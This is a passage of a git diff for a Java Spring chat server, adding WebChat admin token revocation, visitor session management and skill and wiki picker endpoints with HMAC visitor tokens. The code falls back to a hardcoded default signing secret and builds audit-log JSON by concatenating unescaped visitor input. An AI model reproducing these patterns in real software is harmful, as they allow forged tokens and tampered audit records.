io.swagger.v3.oas.annotations.tags.Tag; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.security.core.Authentication; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import vip.mate.audit.service.AuditEventService; +import vip.mate.channel.model.ChannelEntity; +import vip.mate.channel.service.ChannelService; +import vip.mate.common.result.R; + +import java.util.Map; + +/** + * Admin-facing webchat operations. Mounted under {@code /api/v1/admin/webchat/**} + * (outside the {@code /api/v1/channels/webchat/**} permitAll block) so it + * requires a regular MateClaw JWT — visitors cannot reach these endpoints. + * + *

    Currently only manages visitor-token revocation. Audit-recorded via + * {@link AuditEventService}; actor is the JWT-authenticated admin username, + * not the visitor. + * + * @author MateClaw Team + */ +@Tag(name = "WebChat 管理(管理员)") +@Slf4j +@RestController +@RequestMapping("/api/v1/admin/webchat") +@RequiredArgsConstructor +public class WebChatAdminController { + + private final ChannelService channelService; + private final WebChatTokenRevocationService revocationService; + private final AuditEventService auditService; + + @Operation(summary = "撤销访客的 visitorToken(ban 该 visitor 在管理端点的所有调用)") + @PostMapping("/revoked-visitor") + public R revokeVisitor( + @RequestBody RevokeVisitorRequest request, + Authentication auth) { + if (request == null || request.getChannelId() == null + || request.getVisitorId() == null || request.getVisitorId().isBlank()) { + return R.fail(400, "channelId and visitorId are required"); + } + ChannelEntity channel = channelService.getChannel(request.getChannelId()); + if (channel == null || !"webchat".equals(channel.getChannelType())) { + return R.fail(404, "webchat channel not found"); + } + revocationService.revoke(channel.getId(), request.getVisitorId().trim(), + request.getReason()); + + String adminUser = auth != null ? auth.getName() : "system"; + auditService.record( + "webchat.revoke-visitor", + "CHANNEL", + String.valueOf(channel.getId()), + channel.getName(), + "{\"visitorId\":\"" + request.getVisitorId().trim() + + "\",\"reason\":\"" + (request.getReason() != null ? request.getReason() : "") + + "\",\"admin\":\"" + adminUser + "\"}", + channel.getWorkspaceId()); + return R.ok(); + } + + @Operation(summary = "取消撤销访客(un-ban)") + @DeleteMapping("/revoked-visitor") + public R unrevokeVisitor( + @RequestBody Map body, + Authentication auth) { + Long channelId = body.get("channelId") instanceof Number n ? n.longValue() : null; + Object rawChannelId = body.get("channelId"); + if (rawChannelId instanceof String s && !s.isBlank()) { + try { channelId = Long.parseLong(s); } catch (NumberFormatException ignored) { } + } + String visitorId = body.get("visitorId") instanceof String s ? s.trim() : null; + if (channelId == null || visitorId == null || visitorId.isEmpty()) { + return R.fail(400, "channelId and visitorId are required"); + } + revocationService.unrevoke(channelId, visitorId); + + String adminUser = auth != null ? auth.getName() : "system"; + auditService.record( + "webchat.unrevoke-visitor", + "CHANNEL", + String.valueOf(channelId), + null, + "{\"visitorId\":\"" + visitorId + "\",\"admin\":\"" + adminUser + "\"}", + null); + return R.ok(); + } + + @lombok.Data + public static class RevokeVisitorRequest { + private Long channelId; + private String visitorId; + private String reason; + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatController.java b/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatController.java index 0b16ddb3..45499c16 100644 --- a/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatController.java +++ b/mateclaw-server/src/main/java/vip/mate/channel/webchat/WebChatController.java @@ -6,9 +6,26 @@ import io.swagger.v3.oas.annotations.Operation; import io.swagger.v3.oas.annotations.tags.Tag; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.core.io.FileSystemResource; +import org.springframework.core.io.Resource; +import org.springframework.http.HttpHeaders; import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; +import org.springframework.web.multipart.MultipartFile; import org.springframework.web.servlet.mvc.method.annotation.SseEmitter; + +import javax.crypto.Mac; +import javax.crypto.spec.SecretKeySpec; +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; +import java.security.GeneralSecurityException; +import java.security.MessageDigest; +import java.util.ArrayList; +import java.util.Base64; import vip.mate.channel.web.Utf8SseEmitter; import vip.mate.agent.AgentService; import vip.mate.channel.model.ChannelEntity; @@ -17,7 +34,9 @@ import vip.mate.channel.web.ChatStreamTracker; import vip.mate.common.result.R; import vip.mate.memory.event.ConversationCompletionPublisher; import vip.mate.workspace.conversation.ConversationService; +import vip.mate.workspace.conversation.model.ConversationEntity; import vip.mate.workspace.conversation.model.MessageContentPart; +import vip.mate.workspace.conversation.model.MessageEntity; import java.io.IOException; import java.time.LocalDateTime; @@ -26,6 +45,8 @@ import java.util.Map; import java.util.UUID; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; +import java.util.regex.Pattern; +import java.util.stream.Collectors; /** * WebChat 嵌入式对话接口 @@ -51,6 +72,23 @@ public class WebChatController { private final ObjectMapper objectMapper; private final ConversationCompletionPublisher completionPublisher; private final vip.mate.memory.identity.MemoryOwnerResolver memoryOwnerResolver; + private final WebChatFileService fileService; + private final WebChatTokenRevocationService tokenRevocationService; + private final vip.mate.audit.service.AuditEventService auditService; + private final vip.mate.llm.routing.AgentBindingResolver agentBindingResolver; + private final vip.mate.skill.repository.SkillMapper skillMapper; + private final vip.mate.wiki.repository.WikiPageMapper wikiPageMapper; + private final vip.mate.wiki.repository.WikiKnowledgeBaseMapper wikiKbMapper; + + /** Visitor-token TTL in seconds (7 days). Mirrors GeneratedFileCache's TTL. */ + static final long VISITOR_TOKEN_TTL_SECONDS = 7 * 24 * 3600L; + + /** + * Server-only secret used to sign per-visitor tokens. Reuses the JWT secret so no extra + * config/migration is needed; it is never sent to the client (unlike the public channel API key). + */ + @Value("${mateclaw.jwt.secret:MateClaw-JWT-Secret-Key-2024-Please-Change-In-Production}") + private String visitorTokenSecret; private final ExecutorService sseExecutor = Executors.newCachedThreadPool(); @@ -73,14 +111,45 @@ public class WebChatController { return emitter; } + // Resolve the target agent: an explicit request agentId overrides the channel's + // bound agent, but must belong to the channel's workspace (anti privilege-escalation: + // a shared channel Key must not be able to drive arbitrary agents in other workspaces). Long agentId = channel.getAgentId(); + if (request.getAgentId() != null) { + var requested = agentService.getAgent(request.getAgentId()); + if (requested == null) { + sendErrorAndComplete(emitter, "Requested agent not found"); + return emitter; + } + if (channel.getWorkspaceId() != null && requested.getWorkspaceId() != null + && !channel.getWorkspaceId().equals(requested.getWorkspaceId())) { + sendErrorAndComplete(emitter, "Requested agent does not belong to this channel's workspace"); + return emitter; + } + agentId = request.getAgentId(); + } if (agentId == null) { sendErrorAndComplete(emitter, "No agent configured for this WebChat channel"); return emitter; } + final Long resolvedAgentId = agentId; - String visitorId = request.getVisitorId() != null ? request.getVisitorId() : UUID.randomUUID().toString(); - String conversationId = "webchat:" + apiKey.substring(0, Math.min(8, apiKey.length())) + ":" + visitorId; + // Optional sessionId lets one visitor hold multiple isolated threads. It is only ever + // composed into the server-derived conversationId (kept under the key+visitor namespace), + // never accepted as a raw conversationId — so a caller can't reach another tenant's history. + final String visitorId; + final String effectiveSessionId; + try { + visitorId = normalizeVisitorId(request.getVisitorId()); + effectiveSessionId = normalizeSessionId(request.getSessionId()); + } catch (IllegalArgumentException ex) { + sendErrorAndComplete(emitter, ex.getMessage()); + return emitter; + } + String conversationId = deriveConversationId(apiKey, visitorId, effectiveSessionId); + // Server-issued, unforgeable proof that this caller owns this visitorId. Returned in the + // meta event below; the session-management endpoints require it back (see verifyVisitorToken). + final String visitorToken = computeVisitorToken(visitorTokenSecret, channel.getId(), visitorId); String message = request.getMessage() != null ? request.getMessage() : ""; if (message.isBlank()) { @@ -104,17 +173,28 @@ public class WebChatController { sseExecutor.execute(() -> { try { // 创建或获取会话(workspace 从 agent 获取) - var webAgent = agentService.getAgent(agentId); + var webAgent = agentService.getAgent(resolvedAgentId); Long webWsId = webAgent != null ? webAgent.getWorkspaceId() : 1L; - var conv = conversationService.getOrCreateConversation(conversationId, agentId, "webchat:" + visitorId, webWsId); + var conv = conversationService.getOrCreateWebchatConversation( + conversationId, resolvedAgentId, webchatUsername(visitorId), webWsId, effectiveSessionId); - // 保存用户消息 - conversationService.saveMessage(conversationId, "user", message, List.of()); + // 保存用户消息(含访客本轮引用的附件)。附件元数据一律服务端按 fileId 回查, + // 不信客户端传入;path 用于 Agent 侧工具读取,对外消息视图会被剥离。 + List userParts = buildUserParts(conversationId, message, request.getAttachmentIds()); + conversationService.saveMessage(conversationId, "user", message, userParts); // 初始化 SSE 流跟踪 streamTracker.register(conversationId); streamTracker.attach(conversationId, emitter); + // Echo the effective session so the caller can persist it (especially when + // sessionId was omitted) and address the same thread on subsequent calls. The + // visitorToken must be stored by the caller and sent back on list/messages/delete. + streamTracker.broadcast(conversationId, "meta", + "{\"sessionId\":" + escapeJson(effectiveSessionId) + + ",\"conversationId\":" + escapeJson(conversationId) + + ",\"visitorToken\":" + escapeJson(visitorToken) + "}"); + // Accumulate the assistant reply so it can be persisted on stream completion. // Pattern mirrors ChatController: always accumulate, only broadcast when the // delta is not a persistence-only echo of content already streamed by inner nodes. @@ -132,7 +212,7 @@ public class WebChatController { .withSender(null, "api", null); String webchatOwnerKey = memoryOwnerResolver.resolve(webchatOrigin); - agentService.chatStructuredStream(agentId, message, conversationId, visitorId, null, webchatOrigin) + reactor.core.Disposable disposable = agentService.chatStructuredStream(resolvedAgentId, message, conversationId, visitorId, null, webchatOrigin) .doOnNext(delta -> { if (delta.isEvent() && "_usage_final".equals(delta.eventType())) { Map data = delta.eventData(); @@ -143,6 +223,17 @@ public class WebChatController { if (model != null) modelInfo[0] = model.toString(); if (provider != null) modelInfo[1] = provider.toString(); } + // Forward a curated subset of agent lifecycle events to the + // visitor SSE stream. The full event vocabulary (iteration_*, + // perf_summary, _routing_decision, feedback_event, ...) is + // internal — exposing it to 3rd-party websites would leak + // graph internals and complicate the SDK contract. The four + // types below are the ones that drive visible UX: typing + // indicator (phase), tool execution badges (tool_start/end), + // plan-execute checklist (plan). See docs/zh/webchat.md. + if (delta.isEvent()) { + forwardVisitorEvent(conversationId, delta.eventType(), delta.eventData()); + } if (delta.content() != null && !delta.content().isEmpty()) { assistantReply.append(delta.content()); if (!delta.persistenceOnly()) { @@ -165,7 +256,7 @@ public class WebChatController { "completed", usage[0], usage[1], modelInfo[0], modelInfo[1]); } completionPublisher.publish( - agentId, conversationId, message, reply, "webchat", webchatOwnerKey); + resolvedAgentId, conversationId, message, reply, "webchat", webchatOwnerKey); } catch (Exception persistErr) { log.warn("[WebChat] Failed to persist assistant reply / publish event: {}", persistErr.getMessage()); @@ -180,6 +271,12 @@ public class WebChatController { streamTracker.complete(conversationId); }) .subscribe(); + // Bind the subscription's Disposable so requestStop() (invoked by + // POST /sessions/stop) can actually dispose the Flux and interrupt + // the LLM stream. Without this, stopRequested is set but the underlying + // HTTP call keeps running — token burn + side-effect tools still fire. + // Mirrors ChatController#chatStream line 495. + streamTracker.setDisposable(conversationId, disposable); } catch (Exception e) { log.error("[WebChat] Error: {}", e.getMessage(), e); @@ -217,8 +314,1126 @@ public class WebChatController { )); } + /** + * 列出访客在当前 channel 上可见的技能清单(供下游集成方实现 "/" slash + * picker UI)。返回的是展示级元数据——id、slug、本地化名、描述、 + * 图标,不暴露 SKILL.md 正文、config、安全扫描结果等内部字段。 + *

    + * 鉴权链跟 {@link #listSessions} 一致:API Key 解析 channel + visitorToken + * HMAC 校验。{@code agentId} 可选,缺省回落到 channel 绑定的 agent; + * 必须属于该 channel 的 workspace(沿用 {@code /stream} 的反越权路径)。 + *

    + * 可见范围 = 显式绑定到该 agent 的 enabled 技能。无显式绑定的 agent + * (意为"用全局默认")返回空清单——visitor 看不到候选,但仍可走自然语言 + * 让 LLM 自行调 {@code load_skill}。 + */ + @Operation(summary = "列出访客可见技能(供 slash picker UI)") + @GetMapping("/skills") + public R> listSkills( + @RequestHeader("X-MC-Key") String apiKey, + @RequestHeader(value = "X-MC-Visitor-Token", required = false) String visitorToken, + @RequestParam(required = false) Long agentId, + @RequestParam String visitorId) { + ChannelEntity channel = resolveChannel(apiKey); + if (channel == null) { + return R.fail(401, "Invalid API Key"); + } + if (!verifyVisitorToken(visitorTokenSecret, channel.getId(), visitorId, visitorToken)) { + return R.fail(401, "Invalid or missing visitor token"); + } + // Resolve the target agent: same anti-escalation rule as /stream — an + // explicit agentId must belong to the channel's workspace. + Long resolvedAgentId = channel.getAgentId(); + if (agentId != null) { + var requested = agentService.getAgent(agentId); + if (requested == null) { + return R.fail(404, "Requested agent not found"); + } + if (channel.getWorkspaceId() != null && requested.getWorkspaceId() != null + && !channel.getWorkspaceId().equals(requested.getWorkspaceId())) { + return R.fail(403, "Requested agent does not belong to this channel's workspace"); + } + resolvedAgentId = agentId; + } + if (resolvedAgentId == null) { + return R.ok(List.of()); + } + // Bound-skill IDs is null when the agent has no explicit binding (meaning + // "use global defaults"); treat that as "no candidates surfaced to the + // picker" so the agent config stays the source of truth for visitor UI. + java.util.Set boundIds = agentBindingResolver.getBoundSkillIds(resolvedAgentId); + if (boundIds == null || boundIds.isEmpty()) { + return R.ok(List.of()); + } + List skills = skillMapper.selectBatchIds(boundIds); + return R.ok(skills.stream() + .filter(s -> Boolean.TRUE.equals(s.getEnabled())) + // Stable order: by slug asc, fall back to id for ties (e.g. null slug). + .sorted(java.util.Comparator.comparing( + s -> s.getName() != null ? s.getName() : "", + java.util.Comparator.nullsFirst(String::compareToIgnoreCase))) + .map(WebChatSkillView::from) + .toList()); + } + + /** + * 列出访客可见的 wiki 页面,供下游自建「`[[slug]]` 引用 picker」UI。 + *

    + * 鉴权链跟 {@link #listSkills} 一致:API Key 解析 channel + visitorToken + * HMAC 校验。{@code agentId} 可选,缺省回落到 channel 绑定的 agent; + * 必须属于该 channel 的 workspace(沿用 {@code /stream} 的反越权路径)。 + *

    + * 可见范围 = agent 绑定的 KB(无显式绑定时回落到 workspace 内全部 KB) + * 下的所有 page,排除 {@code pageType=synthesis}(LLM 中间产物)。 + * 上限 {@value WEBCHAT_WIKI_PICKER_MAX_PAGES}:超出时强制要求 {@code keyword}。 + *

    + * 出参仅暴露展示级元数据(slug / title / summary / pageType / kbId / + * kbName),不包含正文、embedding、sourceRawIds 等内部字段。 + */ + @Operation(summary = "列出访客可见 wiki 页面(供 [[slug]] picker UI)") + @GetMapping("/wiki/pages") + public R> listWikiPages( + @RequestHeader("X-MC-Key") String apiKey, + @RequestHeader(value = "X-MC-Visitor-Token", required = false) String visitorToken, + @RequestParam(required = false) Long agentId, + @RequestParam String visitorId, + @RequestParam(required = false) String keyword) { + ChannelEntity channel = resolveChannel(apiKey); + if (channel == null) { + return R.fail(401, "Invalid API Key"); + } + if (!verifyVisitorToken(visitorTokenSecret, channel.getId(), visitorId, visitorToken)) { + return R.fail(401, "Invalid or missing visitor token"); + } + // Resolve the target agent — same anti-escalation rule as /stream and + // /skills: an explicit agentId must belong to the channel's workspace. + Long resolvedAgentId = channel.getAgentId(); + if (agentId != null) { + var requested = agentService.getAgent(agentId); + if (requested == null) { + return R.fail(404, "Requested agent not found"); + } + if (channel.getWorkspaceId() != null && requested.getWorkspaceId() != null + && !channel.getWorkspaceId().equals(requested.getWorkspaceId())) { + return R.fail(403, "Requested agent does not belong to this channel's workspace"); + } + resolvedAgentId = agentId; + } + if (resolvedAgentId == null) { + return R.ok(List.of()); + } + + // Resolve the KB scope: null = workspace-wide (every KB in the agent's + // workspace); non-empty set = explicit allowlist. Set.of() (rows exist + // but none enabled) means "agent is explicitly scoped to zero KBs" — + // surface as empty so the picker shows nothing rather than falling + // through to workspace-wide. + java.util.Set boundKbIds = agentBindingResolver.getBoundKbIds(resolvedAgentId); + Long workspaceId = channel.getWorkspaceId(); + java.util.Set effectiveKbIds; + if (boundKbIds != null) { + if (boundKbIds.isEmpty()) { + return R.ok(List.of()); + } + effectiveKbIds = boundKbIds; + } else { + // No explicit binding → fall back to every KB in the channel's + // workspace. Matches the wiki-tool behavior (an unscoped agent + // sees workspace-wide KBs). + effectiveKbIds = wikiKbMapper.selectList( + new com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper() + .eq(vip.mate.wiki.model.WikiKnowledgeBaseEntity::getWorkspaceId, + workspaceId == null ? 1L : workspaceId)) + .stream() + .map(vip.mate.wiki.model.WikiKnowledgeBaseEntity::getId) + .filter(java.util.Objects::nonNull) + .collect(java.util.stream.Collectors.toSet()); + if (effectiveKbIds.isEmpty()) { + return R.ok(List.of()); + } + } + + // Build the page query: KB scope + exclude hidden pageTypes + optional + // keyword filter on slug/title. Use a single LIKE with OR so a visitor + // typing "auth" matches either "auth-design" (slug) or "Auth Design" (title). + String trimmedKeyword = keyword == null ? null : keyword.trim(); + boolean hasKeyword = trimmedKeyword != null && !trimmedKeyword.isEmpty(); + + // Cap check: if no keyword and total candidate count exceeds the cap, + // refuse — the caller must narrow with a keyword. Counting before + // selecting avoids materializing a huge list into memory. + // NOTE: the count wrapper is built WITHOUT ORDER BY — H2 in MySQL mode + // rejects "ORDER BY slug" on a COUNT(*) query (column must appear in + // GROUP BY). The select wrapper below adds ORDER BY slug. + if (!hasKeyword) { + long total = wikiPageMapper.selectCount(buildWikiPageFilterWrapper(effectiveKbIds, null)); + if (total > WEBCHAT_WIKI_PICKER_MAX_PAGES) { + return R.fail(422, "Wiki page count (" + total + + ") exceeds picker cap (" + WEBCHAT_WIKI_PICKER_MAX_PAGES + + "); please provide a 'keyword' query parameter to narrow."); + } + } + + List pages = wikiPageMapper.selectList( + buildWikiPageFilterWrapper(effectiveKbIds, hasKeyword ? trimmedKeyword : null) + .orderByAsc(vip.mate.wiki.model.WikiPageEntity::getSlug)); + if (pages.isEmpty()) { + return R.ok(List.of()); + } + + // Hydrate KB names so the picker UI can show ": " and + // the LLM can disambiguate when two KBs share a slug. + java.util.Map kbNames = wikiKbMapper.selectBatchIds(effectiveKbIds).stream() + .collect(java.util.stream.Collectors.toMap( + vip.mate.wiki.model.WikiKnowledgeBaseEntity::getId, + kb -> kb.getName() != null ? kb.getName() : "", + (a, b) -> a)); + + return R.ok(pages.stream() + .map(p -> WebChatWikiPageView.from(p, kbNames.get(p.getKbId()))) + .toList()); + } + + /** + * Build the WHERE-clause portion of the wiki-page picker query: KB scope + + * pageType-not-in-hidden + optional keyword LIKE on slug / title. + * Returned without ORDER BY so the caller can layer sorting (select) or + * nothing (count) on top — H2 in MySQL mode rejects ORDER BY on COUNT(*). + */ + private com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper + buildWikiPageFilterWrapper(java.util.Set kbIds, String keyword) { + com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper w = + new com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper() + .in(vip.mate.wiki.model.WikiPageEntity::getKbId, kbIds) + .notIn(vip.mate.wiki.model.WikiPageEntity::getPageType, WEBCHAT_WIKI_HIDDEN_PAGE_TYPES); + if (keyword != null && !keyword.isEmpty()) { + String like = "%" + keyword + "%"; + w.and(qq -> qq.like(vip.mate.wiki.model.WikiPageEntity::getSlug, like) + .or().like(vip.mate.wiki.model.WikiPageEntity::getTitle, like)); + } + return w; + } + + /** Cap on how many empty (message_count = 0) threads one visitor may hold on a + * channel at once. Guards against pathologic clients churning placeholder + * sessions without ever sending a message. */ + private static final int MAX_EMPTY_SESSIONS_PER_VISITOR = 5; + + /** + * Upper bound on the page count the wiki-page picker will return without a + * keyword filter. Beyond this the caller MUST supply {@code keyword} — + * returning 500 pages to a visitor picker is both bandwidth-wasteful and + * unusable as a UI. Mirrors the slash-skill picker's "small list, search + * when too big" stance. + */ + private static final int WEBCHAT_WIKI_PICKER_MAX_PAGES = 100; + + /** + * Page types hidden from the visitor picker. {@code synthesis} pages are + * LLM-generated intermediate artifacts (compiled on demand by + * {@code wiki_compile_page}); they aren't curated source material and + * surfacing them to a downstream visitor is noise. Entity / concept / + * source pages are human-readable references the visitor can meaningfully + * point the LLM at. + */ + private static final java.util.Set WEBCHAT_WIKI_HIDDEN_PAGE_TYPES = java.util.Set.of("synthesis"); + + /** + * 显式创建一条访客会话线程(空会话)。 + *

    + * 与 {@code POST /stream} 的隐式 getOrCreate 互补:本端点先建一条 message_count=0 + * 的占位线程,调用方拿到 {@code sessionId/conversationId/visitorToken} 之后,再决定 + * 何时通过 {@code /stream} 发首条消息。鉴权为访客的首次接触:仅校验 + * {@code X-MC-Key},不要求 {@code X-MC-Visitor-Token},后端会签发并回传 token, + * 调用方在后续 GET/PUT/DELETE 上必须回带。 + *

    + * 行为: + *

      + *
    • 幂等:{@code sessionId} 与该 visitor 已有线程冲突 → 直接返回现有线程, + * 不报错、不覆盖 title。
    • + *
    • 配额:单 (渠道, visitor) 未活跃空线程 ≤ {@value MAX_EMPTY_SESSIONS_PER_VISITOR}, + * 超出返回 409。已存在的线程走幂等路径不受配额限制。
    • + *
    • title 非空时写入;为空时落默认 "新对话",首条 user 消息仍会按现有规则截取。
    • + *
    + */ + @Operation(summary = "显式创建访客会话线程(空会话)") + @PostMapping("/sessions") + public R> createSession( + @RequestHeader("X-MC-Key") String apiKey, + @RequestBody(required = false) WebChatCreateSessionRequest request) { + + ChannelEntity channel = resolveChannel(apiKey); + if (channel == null) { + return R.fail(401, "Invalid API Key"); + } + + // Resolve agent: explicit request.agentId overrides channel's bound agent, + // but must belong to channel's workspace (mirrors /stream). + final Long agentId; + if (request != null && request.getAgentId() != null) { + var requested = agentService.getAgent(request.getAgentId()); + if (requested == null) { + return R.fail(400, "Requested agent not found"); + } + if (channel.getWorkspaceId() != null && requested.getWorkspaceId() != null + && !channel.getWorkspaceId().equals(requested.getWorkspaceId())) { + return R.fail(400, "Requested agent does not belong to this channel's workspace"); + } + agentId = request.getAgentId(); + } else { + agentId = channel.getAgentId(); + if (agentId == null) { + return R.fail(400, "No agent configured for this WebChat channel"); + } + } + + final String visitorId; + final String sessionId; + try { + visitorId = normalizeVisitorId(request != null ? request.getVisitorId() : null); + sessionId = normalizeSessionId(request != null ? request.getSessionId() : null); + } catch (IllegalArgumentException ex) { + return R.fail(400, ex.getMessage()); + } + + String title = (request != null && request.getTitle() != null) ? request.getTitle().trim() : null; + if (title != null && (title.isEmpty() || title.length() > 100)) { + return R.fail(400, "title 不合法(1-100 字)"); + } + + String conversationId = deriveConversationId(apiKey, visitorId, sessionId); + String owner = webchatUsername(visitorId); + + // Idempotency: existing thread is returned as-is. Title and every other + // field are left untouched — a re-create call must not clobber a previously + // set title. Existing rows are exempt from the empty-session quota. + ConversationEntity existing = conversationService.findByConversationId(conversationId); + if (existing != null && owner.equals(existing.getUsername())) { + audit(channel, visitorId, "webchat.create-session", conversationId, + "{\"sessionId\":\"" + sessionId + "\",\"idempotent\":true}"); + return R.ok(buildCreateSessionResponse(existing, sessionId, channel.getId(), visitorId)); + } + + // Quota: count empty threads this visitor already holds on this channel. + // loadVisitorSessions already scopes to (channel prefix ∩ visitor owner). + long emptyCount = loadVisitorSessions(apiKey, visitorId).stream() + .filter(s -> s.getMessageCount() == null || s.getMessageCount() == 0) + .count(); + if (emptyCount >= MAX_EMPTY_SESSIONS_PER_VISITOR) { + return R.fail(409, "未活跃会话数已达上限(" + MAX_EMPTY_SESSIONS_PER_VISITOR + + "),请先发送消息或删除旧会话"); + } + + ConversationEntity conv = conversationService.getOrCreateWebchatConversation( + conversationId, agentId, owner, channel.getWorkspaceId(), sessionId, title); + audit(channel, visitorId, "webchat.create-session", conversationId, + "{\"sessionId\":\"" + sessionId + "\",\"idempotent\":false}"); + return R.ok(buildCreateSessionResponse(conv, sessionId, channel.getId(), visitorId)); + } + + private Map buildCreateSessionResponse(ConversationEntity conv, String sessionId, + Long channelId, String visitorId) { + String visitorToken = computeVisitorToken(visitorTokenSecret, channelId, visitorId); + // LinkedHashMap (not Map.of) because Map.of rejects null and we want a + // stable key order for the response payload. + Map m = new java.util.LinkedHashMap<>(); + m.put("sessionId", sessionId != null ? sessionId : ""); + m.put("conversationId", conv.getConversationId()); + m.put("visitorToken", visitorToken); + m.put("title", conv.getTitle() != null ? conv.getTitle() : ""); + m.put("createTime", conv.getCreateTime()); + return m; + } + + /** + * Audit a visitor-side write. Actor is {@code "webchat::"} + * so audit searches can filter by channel / visitor. detailJson should be + * a JSON object capturing whatever the operator would need to reconstruct + * the call (sessionId, before/after state, etc). + */ + private void audit(ChannelEntity channel, String visitorId, String action, + String conversationId, String detailJson) { + String actor = "webchat:" + channel.getId() + ":" + visitorId; + auditService.recordAs(actor, channel.getWorkspaceId(), + action, "CONVERSATION", conversationId, null, detailJson); + } + + /** + * 列出某访客的会话线程 + *

    + * 仅返回属于本 Key + visitorId 的会话(按 conversationId 前缀过滤), + * 不暴露裸 conversationId,调用方按 sessionId 寻址。 + */ + @Operation(summary = "列出访客会话线程") + @GetMapping("/sessions") + public R> listSessions( + @RequestHeader("X-MC-Key") String apiKey, + @RequestHeader(value = "X-MC-Visitor-Token", required = false) String visitorToken, + @RequestParam String visitorId, + @RequestParam(defaultValue = "false") boolean includeArchived) { + ChannelEntity channel = resolveChannel(apiKey); + if (channel == null) { + return R.fail(401, "Invalid API Key"); + } + if (!verifyVisitorToken(visitorTokenSecret, channel.getId(), visitorId, visitorToken)) { + return R.fail(401, "Invalid or missing visitor token"); + } + return R.ok(loadVisitorSessions(apiKey, visitorId, includeArchived)); + } + + /** + * 分页 + 关键词搜索某访客的会话线程。 + *

    访客的会话集是按 visitor 命名空间限定的(数量有界),故在内存里做关键词过滤与分页。 + * keyword 不区分大小写、匹配标题子串。 + *

    鉴权链跟 {@link #listSessions} 完全一致,本方法只做"列表 → 关键词过滤 → 分页"的视图 + * 包装,所以直接委托 listSessions 后处理(避免重复 resolveChannel + verifyVisitorToken + * 的鉴权代码)。 + */ + @Operation(summary = "分页查询访客会话线程") + @GetMapping("/sessions/page") + public R> pageSessions( + @RequestHeader("X-MC-Key") String apiKey, + @RequestHeader(value = "X-MC-Visitor-Token", required = false) String visitorToken, + @RequestParam String visitorId, + @RequestParam(defaultValue = "1") int page, + @RequestParam(defaultValue = "20") int size, + @RequestParam(required = false) String keyword, + @RequestParam(defaultValue = "false") boolean includeArchived) { + @SuppressWarnings("unchecked") + R> base = (R>) (R) + listSessions(apiKey, visitorToken, visitorId, includeArchived); + if (base.getCode() != 200) { + return R.fail(base.getCode(), base.getMsg()); + } + if (page < 1) page = 1; + if (size < 1 || size > 200) size = 20; + + List all = base.getData(); + if (keyword != null && !keyword.isBlank()) { + String kw = keyword.trim().toLowerCase(java.util.Locale.ROOT); + all = all.stream() + .filter(s -> s.getTitle() != null && s.getTitle().toLowerCase(java.util.Locale.ROOT).contains(kw)) + .collect(Collectors.toList()); + } + long total = all.size(); + int from = Math.min((page - 1) * size, all.size()); + int to = Math.min(from + size, all.size()); + List pageItems = all.subList(from, to); + return R.ok(Map.of( + "items", pageItems, + "total", total, + "page", page, + "size", size + )); + } + + /** + * 重命名某会话线程。标题非空、长度 ≤ 100。 + */ + @Operation(summary = "重命名会话线程") + @PutMapping("/sessions/title") + public R renameSession( + @RequestHeader("X-MC-Key") String apiKey, + @RequestHeader(value = "X-MC-Visitor-Token", required = false) String visitorToken, + @RequestParam String visitorId, + @RequestParam(required = false) String sessionId, + @RequestBody Map body) { + ChannelEntity channel = resolveChannel(apiKey); + if (channel == null) { + return R.fail(401, "Invalid API Key"); + } + if (!verifyVisitorToken(visitorTokenSecret, channel.getId(), visitorId, visitorToken)) { + return R.fail(401, "Invalid or missing visitor token"); + } + String sid; + try { + sid = normalizeSessionId(sessionId); + } catch (IllegalArgumentException ex) { + return R.fail(400, ex.getMessage()); + } + String conversationId = deriveConversationId(apiKey, visitorId, sid); + if (!ownsConversation(conversationId, visitorId)) { + return R.fail(404, "Session not found"); + } + String title = body != null && body.get("title") != null ? body.get("title").trim() : ""; + if (title.isEmpty() || title.length() > 100) { + return R.fail(400, "标题不合法(1-100 字)"); + } + conversationService.renameConversation(conversationId, title); + audit(channel, visitorId, "webchat.rename-session", conversationId, + "{\"sessionId\":\"" + sid + "\",\"title\":\"" + title + "\"}"); + return R.ok(); + } + + /** + * 置顶 / 取消置顶某会话线程。Pinned 线程在访客的 /sessions 列表里排在最前 + * (沿用 {@link ConversationService#listWebchatConversations} 的 pinned DESC 排序)。 + */ + @Operation(summary = "置顶 / 取消置顶会话线程") + @PutMapping("/sessions/pinned") + public R pinSession( + @RequestHeader("X-MC-Key") String apiKey, + @RequestHeader(value = "X-MC-Visitor-Token", required = false) String visitorToken, + @RequestParam String visitorId, + @RequestParam(required = false) String sessionId, + @RequestBody Map body) { + ChannelEntity channel = resolveChannel(apiKey); + if (channel == null) { + return R.fail(401, "Invalid API Key"); + } + if (!verifyVisitorToken(visitorTokenSecret, channel.getId(), visitorId, visitorToken)) { + return R.fail(401, "Invalid or missing visitor token"); + } + String sid; + try { + sid = normalizeSessionId(sessionId); + } catch (IllegalArgumentException ex) { + return R.fail(400, ex.getMessage()); + } + String conversationId = deriveConversationId(apiKey, visitorId, sid); + if (!ownsConversation(conversationId, visitorId)) { + return R.fail(404, "Session not found"); + } + Object v = body != null ? body.get("pinned") : null; + if (!(v instanceof Boolean)) { + return R.fail(400, "body must contain {pinned: true|false}"); + } + conversationService.setPinned(conversationId, (Boolean) v); + audit(channel, visitorId, "webchat.pin-session", conversationId, + "{\"sessionId\":\"" + sid + "\",\"pinned\":" + v + "}"); + return R.ok(); + } + + /** + * 归档 / 取消归档某会话线程。归档后线程仍在 DB(历史保留、按 sessionId 寻址、文件可下载), + * 但默认从 /sessions 列表隐藏;调用方需传 {@code includeArchived=true} 